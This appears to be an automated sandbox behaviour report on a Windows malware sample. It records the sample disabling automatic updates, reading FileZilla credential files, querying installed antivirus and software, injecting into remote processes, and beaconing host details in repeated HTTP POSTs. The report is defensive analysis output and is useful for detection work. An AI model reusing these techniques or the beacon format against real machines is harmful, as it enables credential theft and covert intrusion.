LdrGetDllHandle Feb. 19, 2023, 2:02 p.m.	module_name: snxhk module_address: 0x00000000 stack_pivoted: 0		3221225781	0

Attempts to disable Windows Auto Updates (1 event)

registry

HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU\NoAutoUpdate

Harvests credentials from local FTP client softwares (2 events)

file	C:\Users\test22\AppData\Roaming\FileZilla\sitemanager.xml
file	C:\Users\test22\AppData\Roaming\FileZilla\recentservers.xml

Executes one or more WMI queries (8 events)

wmi	SELECT * FROM Win32_VideoController
wmi	SELECT * FROM AntivirusProduct
wmi	SELECT * FROM Win32_OperatingSystem
wmi	SELECT * FROM Win32_Process Where SessionId='1'
wmi	SELECT * FROM AntiSpyWareProduct
wmi	SELECT * FROM FirewallProduct
wmi	SELECT * FROM Win32_DiskDrive
wmi	SELECT * FROM Win32_Processor

Potential code injection by writing to the memory of another process (1 event)

Time & API	Arguments	Status	Return	Repeated
WriteProcessMemory Feb. 19, 2023, 2:02 p.m.	buffer: @ base_address: 0xfffde008 process_identifier: 3044 process_handle: 0x0000002c	1	1	0

Collects information about installed applications (50 out of 190 events)

Time & API	Arguments	Status
RegQueryValueExW Feb. 19, 2023, 2:01 p.m.	key_handle: 0x00000398 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: 7-Zip 20.02 alpha regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\7-Zip\DisplayName	1
RegQueryValueExW Feb. 19, 2023, 2:01 p.m.	key_handle: 0x00000398 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Adobe AIR regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Adobe AIR\DisplayName	1
RegQueryValueExW Feb. 19, 2023, 2:01 p.m.	key_handle: 0x00000398 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: EditPlus regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\EditPlus\DisplayName	1
RegQueryValueExW Feb. 19, 2023, 2:01 p.m.	key_handle: 0x00000398 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Chrome regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Google Chrome\DisplayName	1
RegQueryValueExW Feb. 19, 2023, 2:01 p.m.	key_handle: 0x00000398 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: 한컴오피스 한글 2010 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Haansoft HWord 80 Korean\DisplayName	1
RegQueryValueExW Feb. 19, 2023, 2:01 p.m.	key_handle: 0x00000398 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Mozilla Thunderbird 78.4.0 (x86 ko) regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Mozilla Thunderbird 78.4.0 (x86 ko)\DisplayName	1
RegQueryValueExW Feb. 19, 2023, 2:01 p.m.	key_handle: 0x00000398 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Office Professional Plus 2013 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Office15.PROPLUSR\DisplayName	1
RegQueryValueExW Feb. 19, 2023, 2:01 p.m.	key_handle: 0x00000398 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Adobe AIR regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{00203668-8170-44A0-BE44-B632FA4D780F}\DisplayName	1
RegQueryValueExW Feb. 19, 2023, 2:01 p.m.	key_handle: 0x00000398 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: HttpWatch Professional 9.3.39 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{01B845D4-B73E-4CF7-A377-94BC7BB4F77B}\DisplayName	1
RegQueryValueExW Feb. 19, 2023, 2:01 p.m.	key_handle: 0x00000398 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: 한컴오피스 한글 2010 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{1D91F7DA-F517-4727-9E62-B7EA978BE980}\DisplayName	1
RegQueryValueExW Feb. 19, 2023, 2:01 p.m.	key_handle: 0x00000398 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Java 8 Update 131 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{26A24AE4-039D-4CA4-87B4-2F32180131F0}\DisplayName	1
RegQueryValueExW Feb. 19, 2023, 2:01 p.m.	key_handle: 0x00000398 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Java Auto Updater regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{4A03706F-666A-4037-7777-5F2748764D10}\DisplayName	1
RegQueryValueExW Feb. 19, 2023, 2:01 p.m.	key_handle: 0x00000398 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Google Update Helper regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{60EC980A-BDA2-4CB6-A427-B07A5498B4CA}\DisplayName	1
RegQueryValueExW Feb. 19, 2023, 2:01 p.m.	key_handle: 0x00000398 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Access MUI (English) 2013 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-0015-0409-0000-0000000FF1CE}\DisplayName	1
RegQueryValueExW Feb. 19, 2023, 2:01 p.m.	key_handle: 0x00000398 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Excel MUI (English) 2013 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-0016-0409-0000-0000000FF1CE}\DisplayName	1
RegQueryValueExW Feb. 19, 2023, 2:01 p.m.	key_handle: 0x00000398 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft PowerPoint MUI (English) 2013 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-0018-0409-0000-0000000FF1CE}\DisplayName	1
RegQueryValueExW Feb. 19, 2023, 2:01 p.m.	key_handle: 0x00000398 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Publisher MUI (English) 2013 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-0019-0409-0000-0000000FF1CE}\DisplayName	1
RegQueryValueExW Feb. 19, 2023, 2:01 p.m.	key_handle: 0x00000398 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Outlook MUI (English) 2013 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-001A-0409-0000-0000000FF1CE}\DisplayName	1
RegQueryValueExW Feb. 19, 2023, 2:01 p.m.	key_handle: 0x00000398 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Word MUI (English) 2013 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-001B-0409-0000-0000000FF1CE}\DisplayName	1
RegQueryValueExW Feb. 19, 2023, 2:01 p.m.	key_handle: 0x00000398 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Office Proofing Tools 2013 - English regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-001F-0409-0000-0000000FF1CE}\DisplayName	1
RegQueryValueExW Feb. 19, 2023, 2:01 p.m.	key_handle: 0x00000398 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Outils de vérification linguistique 2013 de Microsoft Office - Français regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-001F-040C-0000-0000000FF1CE}\DisplayName	1
RegQueryValueExW Feb. 19, 2023, 2:01 p.m.	key_handle: 0x00000398 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Office Proofing Tools 2013 - Español regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-001F-0C0A-0000-0000000FF1CE}\DisplayName	1
RegQueryValueExW Feb. 19, 2023, 2:01 p.m.	key_handle: 0x00000398 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Office Proofing (English) 2013 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-002C-0409-0000-0000000FF1CE}\DisplayName	1
RegQueryValueExW Feb. 19, 2023, 2:01 p.m.	key_handle: 0x00000398 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft InfoPath MUI (English) 2013 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-0044-0409-0000-0000000FF1CE}\DisplayName	1
RegQueryValueExW Feb. 19, 2023, 2:01 p.m.	key_handle: 0x00000398 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Office Shared MUI (English) 2013 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-006E-0409-0000-0000000FF1CE}\DisplayName	1
RegQueryValueExW Feb. 19, 2023, 2:01 p.m.	key_handle: 0x00000398 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft DCF MUI (English) 2013 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-0090-0409-0000-0000000FF1CE}\DisplayName	1
RegQueryValueExW Feb. 19, 2023, 2:01 p.m.	key_handle: 0x00000398 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft OneNote MUI (English) 2013 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-00A1-0409-0000-0000000FF1CE}\DisplayName	1
RegQueryValueExW Feb. 19, 2023, 2:01 p.m.	key_handle: 0x00000398 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Groove MUI (English) 2013 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-00BA-0409-0000-0000000FF1CE}\DisplayName	1
RegQueryValueExW Feb. 19, 2023, 2:01 p.m.	key_handle: 0x00000398 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Office OSM MUI (English) 2013 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-00E1-0409-0000-0000000FF1CE}\DisplayName	1
RegQueryValueExW Feb. 19, 2023, 2:01 p.m.	key_handle: 0x00000398 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Office OSM UX MUI (English) 2013 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-00E2-0409-0000-0000000FF1CE}\DisplayName	1
RegQueryValueExW Feb. 19, 2023, 2:01 p.m.	key_handle: 0x00000398 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Office Shared Setup Metadata MUI (English) 2013 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-0115-0409-0000-0000000FF1CE}\DisplayName	1
RegQueryValueExW Feb. 19, 2023, 2:01 p.m.	key_handle: 0x00000398 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Access Setup Metadata MUI (English) 2013 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-0117-0409-0000-0000000FF1CE}\DisplayName	1
RegQueryValueExW Feb. 19, 2023, 2:01 p.m.	key_handle: 0x00000398 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Lync MUI (English) 2013 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-012B-0409-0000-0000000FF1CE}\DisplayName	1
RegQueryValueExW Feb. 19, 2023, 2:01 p.m.	key_handle: 0x00000398 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Office Professional Plus 2013 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{91150000-0011-0000-0000-0000000FF1CE}\DisplayName	1
RegQueryValueExW Feb. 19, 2023, 2:01 p.m.	key_handle: 0x00000398 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Adobe Flash Player 13 ActiveX regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{939659F3-71D2-461F-B24D-91D05A4389B4}\DisplayName	1
RegQueryValueExW Feb. 19, 2023, 2:01 p.m.	key_handle: 0x00000398 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Adobe Flash Player 13 NPAPI regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{9B84A461-3B4C-40E2-B44F-CE22E215EE40}\DisplayName	1
RegQueryValueExW Feb. 19, 2023, 2:01 p.m.	key_handle: 0x00000398 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Adobe Acrobat Reader DC MUI regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{AC76BA86-7AD7-FFFF-7B44-AC0F074E4100}\DisplayName	1
RegQueryValueExW Feb. 19, 2023, 2:01 p.m.	key_handle: 0x00000398 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Visual C++ 2015 Redistributable (x64) - 14.0.24215 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{d992c12e-cab2-426f-bde3-fb8c53950b0d}\DisplayName	1
RegQueryValueExW Feb. 19, 2023, 2:02 p.m.	key_handle: 0x00000290 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: 7-Zip 20.02 alpha regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\7-Zip\DisplayName	1
RegQueryValueExW Feb. 19, 2023, 2:02 p.m.	key_handle: 0x00000290 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Adobe AIR regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Adobe AIR\DisplayName	1
RegQueryValueExW Feb. 19, 2023, 2:02 p.m.	key_handle: 0x00000290 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: EditPlus regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\EditPlus\DisplayName	1
RegQueryValueExW Feb. 19, 2023, 2:02 p.m.	key_handle: 0x00000290 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Chrome regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Google Chrome\DisplayName	1
RegQueryValueExW Feb. 19, 2023, 2:02 p.m.	key_handle: 0x00000290 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: 한컴오피스 한글 2010 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Haansoft HWord 80 Korean\DisplayName	1
RegQueryValueExW Feb. 19, 2023, 2:02 p.m.	key_handle: 0x00000290 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Mozilla Thunderbird 78.4.0 (x86 ko) regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Mozilla Thunderbird 78.4.0 (x86 ko)\DisplayName	1
RegQueryValueExW Feb. 19, 2023, 2:02 p.m.	key_handle: 0x00000290 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Office Professional Plus 2013 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Office15.PROPLUSR\DisplayName	1
RegQueryValueExW Feb. 19, 2023, 2:02 p.m.	key_handle: 0x00000290 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Adobe AIR regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{00203668-8170-44A0-BE44-B632FA4D780F}\DisplayName	1
RegQueryValueExW Feb. 19, 2023, 2:02 p.m.	key_handle: 0x00000290 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: HttpWatch Professional 9.3.39 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{01B845D4-B73E-4CF7-A377-94BC7BB4F77B}\DisplayName	1
RegQueryValueExW Feb. 19, 2023, 2:02 p.m.	key_handle: 0x00000290 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: 한컴오피스 한글 2010 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{1D91F7DA-F517-4727-9E62-B7EA978BE980}\DisplayName	1
RegQueryValueExW Feb. 19, 2023, 2:02 p.m.	key_handle: 0x00000290 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Java 8 Update 131 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{26A24AE4-039D-4CA4-87B4-2F32180131F0}\DisplayName	1
RegQueryValueExW Feb. 19, 2023, 2:02 p.m.	key_handle: 0x00000290 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Java Auto Updater regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{4A03706F-666A-4037-7777-5F2748764D10}\DisplayName	1

Used NtSetContextThread to modify a thread in a remote process indicative of process injection (4 events)

Time & API	Arguments	Status	Return	Repeated
Process injection	Process 2984 called NtSetContextThread to modify thread in remote process 3044
Process injection	Process 2732 called NtSetContextThread to modify thread in remote process 2976
NtSetContextThread Feb. 19, 2023, 2:02 p.m.	registers.eip: 2005598660 registers.esp: 1834392 registers.edi: 0 registers.eax: 4306318 registers.ebp: 0 registers.edx: 0 registers.ebx: -139264 registers.esi: 0 registers.ecx: 0 thread_handle: 0x00000020 process_identifier: 3044	1	0	0
NtSetContextThread Feb. 19, 2023, 2:02 p.m.	registers.eip: 2005598660 registers.esp: 2161196 registers.edi: 0 registers.eax: 4306298 registers.ebp: 0 registers.edx: 0 registers.ebx: 2130567168 registers.esi: 0 registers.ecx: 0 thread_handle: 0x0000027c process_identifier: 2976	1	0	0

A process performed obfuscation on information about the computer or sent it to a remote location indicative of CnC Traffic/Preperations. (49 events)

Time & API	Arguments	Status	Return
HttpSendRequestA Feb. 19, 2023, 2:02 p.m.	headers: Content-Type: application/x-www-form-urlencoded request_handle: 0x00cc000c post_data: id=832866432405&vs=3.67&sd=c51b61&os=9&bi=1&ar=1&pc=TEST22-PC&un=test22&dm=&av=0&lv=0&og=1	1	1
HttpSendRequestA Feb. 19, 2023, 2:02 p.m.	headers: Content-Type: application/x-www-form-urlencoded request_handle: 0x00cc000c post_data: id=832866432405&vs=3.67&sd=c51b61&os=9&bi=1&ar=1&pc=TEST22-PC&un=test22&dm=&av=0&lv=0&og=1	1	1
HttpSendRequestA Feb. 19, 2023, 2:02 p.m.	headers: Content-Type: application/x-www-form-urlencoded request_handle: 0x00cc000c post_data: id=832866432405&vs=3.67&sd=c51b61&os=9&bi=1&ar=1&pc=TEST22-PC&un=test22&dm=&av=0&lv=0&og=1	1	1
HttpSendRequestA Feb. 19, 2023, 2:02 p.m.	headers: Content-Type: application/x-www-form-urlencoded request_handle: 0x00cc000c post_data: id=832866432405&vs=3.67&sd=c51b61&os=9&bi=1&ar=1&pc=TEST22-PC&un=test22&dm=&av=0&lv=0&og=1	1	1
HttpSendRequestA Feb. 19, 2023, 2:02 p.m.	headers: Content-Type: application/x-www-form-urlencoded request_handle: 0x00cc000c post_data: id=832866432405&vs=3.67&sd=c51b61&os=9&bi=1&ar=1&pc=TEST22-PC&un=test22&dm=&av=0&lv=0&og=1	1	1
HttpSendRequestA Feb. 19, 2023, 2:02 p.m.	headers: Content-Type: application/x-www-form-urlencoded request_handle: 0x00cc000c post_data: id=832866432405&vs=3.67&sd=c51b61&os=9&bi=1&ar=1&pc=TEST22-PC&un=test22&dm=&av=0&lv=0&og=1	1	1
HttpSendRequestA Feb. 19, 2023, 2:02 p.m.	headers: Content-Type: application/x-www-form-urlencoded request_handle: 0x00cc000c post_data: id=832866432405&vs=3.67&sd=c51b61&os=9&bi=1&ar=1&pc=TEST22-PC&un=test22&dm=&av=0&lv=0&og=1	1	1
HttpSendRequestA Feb. 19, 2023, 2:02 p.m.	headers: Content-Type: application/x-www-form-urlencoded request_handle: 0x00cc000c post_data: id=832866432405&vs=3.67&sd=c51b61&os=9&bi=1&ar=1&pc=TEST22-PC&un=test22&dm=&av=0&lv=0&og=1	1	1
HttpSendRequestA Feb. 19, 2023, 2:02 p.m.	headers: Content-Type: application/x-www-form-urlencoded request_handle: 0x00cc000c post_data: id=832866432405&vs=3.67&sd=c51b61&os=9&bi=1&ar=1&pc=TEST22-PC&un=test22&dm=&av=0&lv=0&og=1	1	1
HttpSendRequestA Feb. 19, 2023, 2:02 p.m.	headers: Content-Type: application/x-www-form-urlencoded request_handle: 0x00cc000c post_data: id=832866432405&vs=3.67&sd=c51b61&os=9&bi=1&ar=1&pc=TEST22-PC&un=test22&dm=&av=0&lv=0&og=1	1	1
HttpSendRequestA Feb. 19, 2023, 2:02 p.m.	headers: Content-Type: application/x-www-form-urlencoded request_handle: 0x00cc000c post_data: id=832866432405&vs=3.67&sd=c51b61&os=9&bi=1&ar=1&pc=TEST22-PC&un=test22&dm=&av=0&lv=0&og=1	1	1
HttpSendRequestA Feb. 19, 2023, 2:02 p.m.	headers: Content-Type: application/x-www-form-urlencoded request_handle: 0x00cc000c post_data: id=832866432405&vs=3.67&sd=c51b61&os=9&bi=1&ar=1&pc=TEST22-PC&un=test22&dm=&av=0&lv=0&og=1	1	1
HttpSendRequestA Feb. 19, 2023, 2:02 p.m.	headers: Content-Type: application/x-www-form-urlencoded request_handle: 0x00cc000c post_data: id=832866432405&vs=3.67&sd=c51b61&os=9&bi=1&ar=1&pc=TEST22-PC&un=test22&dm=&av=0&lv=0&og=1	1	1
HttpSendRequestA Feb. 19, 2023, 2:02 p.m.	headers: Content-Type: application/x-www-form-urlencoded request_handle: 0x00cc000c post_data: id=832866432405&vs=3.67&sd=c51b61&os=9&bi=1&ar=1&pc=TEST22-PC&un=test22&dm=&av=0&lv=0&og=1	1	1
HttpSendRequestA Feb. 19, 2023, 2:02 p.m.	headers: Content-Type: application/x-www-form-urlencoded request_handle: 0x00cc000c post_data: id=832866432405&vs=3.67&sd=c51b61&os=9&bi=1&ar=1&pc=TEST22-PC&un=test22&dm=&av=0&lv=0&og=1	1	1
HttpSendRequestA Feb. 19, 2023, 2:02 p.m.	headers: Content-Type: application/x-www-form-urlencoded request_handle: 0x00cc000c post_data: id=832866432405&vs=3.67&sd=c51b61&os=9&bi=1&ar=1&pc=TEST22-PC&un=test22&dm=&av=0&lv=0&og=1	1	1
HttpSendRequestA Feb. 19, 2023, 2:02 p.m.	headers: Content-Type: application/x-www-form-urlencoded request_handle: 0x00cc000c post_data: id=832866432405&vs=3.67&sd=c51b61&os=9&bi=1&ar=1&pc=TEST22-PC&un=test22&dm=&av=0&lv=0&og=1	1	1
HttpSendRequestA Feb. 19, 2023, 2:02 p.m.	headers: Content-Type: application/x-www-form-urlencoded request_handle: 0x00cc000c post_data: id=832866432405&vs=3.67&sd=c51b61&os=9&bi=1&ar=1&pc=TEST22-PC&un=test22&dm=&av=0&lv=0&og=1	1	1
HttpSendRequestA Feb. 19, 2023, 2:02 p.m.	headers: Content-Type: application/x-www-form-urlencoded request_handle: 0x00cc000c post_data: id=832866432405&vs=3.67&sd=c51b61&os=9&bi=1&ar=1&pc=TEST22-PC&un=test22&dm=&av=0&lv=0&og=1	1	1
HttpSendRequestA Feb. 19, 2023, 2:02 p.m.	headers: Content-Type: application/x-www-form-urlencoded request_handle: 0x00cc000c post_data: id=832866432405&vs=3.67&sd=c51b61&os=9&bi=1&ar=1&pc=TEST22-PC&un=test22&dm=&av=0&lv=0&og=1	1	1
HttpSendRequestA Feb. 19, 2023, 2:02 p.m.	headers: Content-Type: application/x-www-form-urlencoded request_handle: 0x00cc000c post_data: id=832866432405&vs=3.67&sd=c51b61&os=9&bi=1&ar=1&pc=TEST22-PC&un=test22&dm=&av=0&lv=0&og=1	1	1
HttpSendRequestA Feb. 19, 2023, 2:02 p.m.	headers: Content-Type: application/x-www-form-urlencoded request_handle: 0x00cc000c post_data: id=832866432405&vs=3.67&sd=c51b61&os=9&bi=1&ar=1&pc=TEST22-PC&un=test22&dm=&av=0&lv=0&og=1	1	1
HttpSendRequestA Feb. 19, 2023, 2:02 p.m.	headers: Content-Type: application/x-www-form-urlencoded request_handle: 0x00cc000c post_data: id=832866432405&vs=3.67&sd=c51b61&os=9&bi=1&ar=1&pc=TEST22-PC&un=test22&dm=&av=0&lv=0&og=1	1	1
HttpSendRequestA Feb. 19, 2023, 2:02 p.m.	headers: Content-Type: application/x-www-form-urlencoded request_handle: 0x00cc000c post_data: id=832866432405&vs=3.67&sd=c51b61&os=9&bi=1&ar=1&pc=TEST22-PC&un=test22&dm=&av=0&lv=0&og=1	1	1
HttpSendRequestA Feb. 19, 2023, 2:02 p.m.	headers: Content-Type: application/x-www-form-urlencoded request_handle: 0x00cc000c post_data: id=832866432405&vs=3.66&sd=c7de6f&os=9&bi=1&ar=1&pc=TEST22-PC&un=test22&dm=&av=0&lv=0&og=1	1	1
HttpSendRequestA Feb. 19, 2023, 2:02 p.m.	headers: Content-Type: application/x-www-form-urlencoded request_handle: 0x00cc000c post_data: id=832866432405&vs=3.66&sd=c7de6f&os=9&bi=1&ar=1&pc=TEST22-PC&un=test22&dm=&av=0&lv=0&og=1	1	1
HttpSendRequestA Feb. 19, 2023, 2:02 p.m.	headers: Content-Type: application/x-www-form-urlencoded request_handle: 0x00cc000c post_data: id=832866432405&vs=3.66&sd=c7de6f&os=9&bi=1&ar=1&pc=TEST22-PC&un=test22&dm=&av=0&lv=0&og=1	1	1
HttpSendRequestA Feb. 19, 2023, 2:02 p.m.	headers: Content-Type: application/x-www-form-urlencoded request_handle: 0x00cc000c post_data: id=832866432405&vs=3.66&sd=c7de6f&os=9&bi=1&ar=1&pc=TEST22-PC&un=test22&dm=&av=0&lv=0&og=1	1	1
HttpSendRequestA Feb. 19, 2023, 2:02 p.m.	headers: Content-Type: application/x-www-form-urlencoded request_handle: 0x00cc000c post_data: id=832866432405&vs=3.66&sd=c7de6f&os=9&bi=1&ar=1&pc=TEST22-PC&un=test22&dm=&av=0&lv=0&og=1	1	1
HttpSendRequestA Feb. 19, 2023, 2:02 p.m.	headers: Content-Type: application/x-www-form-urlencoded request_handle: 0x00cc000c post_data: id=832866432405&vs=3.66&sd=c7de6f&os=9&bi=1&ar=1&pc=TEST22-PC&un=test22&dm=&av=0&lv=0&og=1	1	1
HttpSendRequestA Feb. 19, 2023, 2:02 p.m.	headers: Content-Type: application/x-www-form-urlencoded request_handle: 0x00cc000c post_data: id=832866432405&vs=3.66&sd=c7de6f&os=9&bi=1&ar=1&pc=TEST22-PC&un=test22&dm=&av=0&lv=0&og=1	1	1
HttpSendRequestA Feb. 19, 2023, 2:02 p.m.	headers: Content-Type: application/x-www-form-urlencoded request_handle: 0x00cc000c post_data: id=832866432405&vs=3.66&sd=c7de6f&os=9&bi=1&ar=1&pc=TEST22-PC&un=test22&dm=&av=0&lv=0&og=1	1	1
HttpSendRequestA Feb. 19, 2023, 2:02 p.m.	headers: Content-Type: application/x-www-form-urlencoded request_handle: 0x00cc000c post_data: id=832866432405&vs=3.66&sd=c7de6f&os=9&bi=1&ar=1&pc=TEST22-PC&un=test22&dm=&av=0&lv=0&og=1	1	1
HttpSendRequestA Feb. 19, 2023, 2:02 p.m.	headers: Content-Type: application/x-www-form-urlencoded request_handle: 0x00cc000c post_data: id=832866432405&vs=3.66&sd=c7de6f&os=9&bi=1&ar=1&pc=TEST22-PC&un=test22&dm=&av=0&lv=0&og=1	1	1
HttpSendRequestA Feb. 19, 2023, 2:02 p.m.	headers: Content-Type: application/x-www-form-urlencoded request_handle: 0x00cc000c post_data: id=832866432405&vs=3.66&sd=c7de6f&os=9&bi=1&ar=1&pc=TEST22-PC&un=test22&dm=&av=0&lv=0&og=1	1	1
